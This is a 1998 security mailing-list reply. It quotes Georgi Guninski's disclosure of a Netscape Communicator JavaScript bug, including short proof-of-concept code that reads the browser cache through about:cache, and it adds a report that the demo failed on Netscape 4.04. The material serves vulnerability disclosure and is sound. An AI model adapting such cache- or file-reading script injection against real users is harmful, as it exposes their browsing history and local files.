Re: Javascript bug in Netscape Communicator 4.5

From: Ian Guthrie (iguthrieat_private)
Date: Wed Oct 28 1998 - 16:33:40 PST

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    FYI: I run Netscape 4.04 and this is what I got trying that link:
    
    JavaScript Error: file:/c|/, line 2:
    
    access disallowed from scripts at
    http://www.geocities.com/ResearchTriangle/1711/b5.html to documents at
    another domain.
    
    Ian
    
    Georgi Guninski wrote:
    
    > There is a bug in Netscape Communicator 4.5, 4.07, 3.04 under Windows 95
    > (probably others) which allows reading user's cache (the urls the user
    > has
    > visited, including the info in GET forms). Reading local directories
    > content
    > is also allowed. This info may be sent to an arbitrary host.
    > The bug may be exploited by email.
    >
    > Demonstration is available at:
    >  Cache reading: http://www.geocities.com/ResearchTriangle/1711/b4.html
    >  Directory reading:
    > http://www.geocities.com/ResearchTriangle/1711/b5.html
    >
    > The javascript code is:
    >
    > sl=window.open('wysiwyg://1/about:cache');
    > //For Netscape 3.04 remove 'wysiwyg://1/'
    > sl2=sl.window.open();
    > sl2.location="javascript:function f() {s='<SCRIPT>cr=\"\t \"; x=\"Here
    > are some links from your cache:\"; for(i=0;i<5;i++)
    > x+=opener.document.links[i]+cr;alert(x);</'+'SCRIPT>';return s};f()";
    > sl2.location.reload();
    >
    > Workaround: Disable Javascript.
    >
    > Regards,
    > Georgi Guninski
    > http://www.geocities.com/ResearchTriangle/1711/
    >
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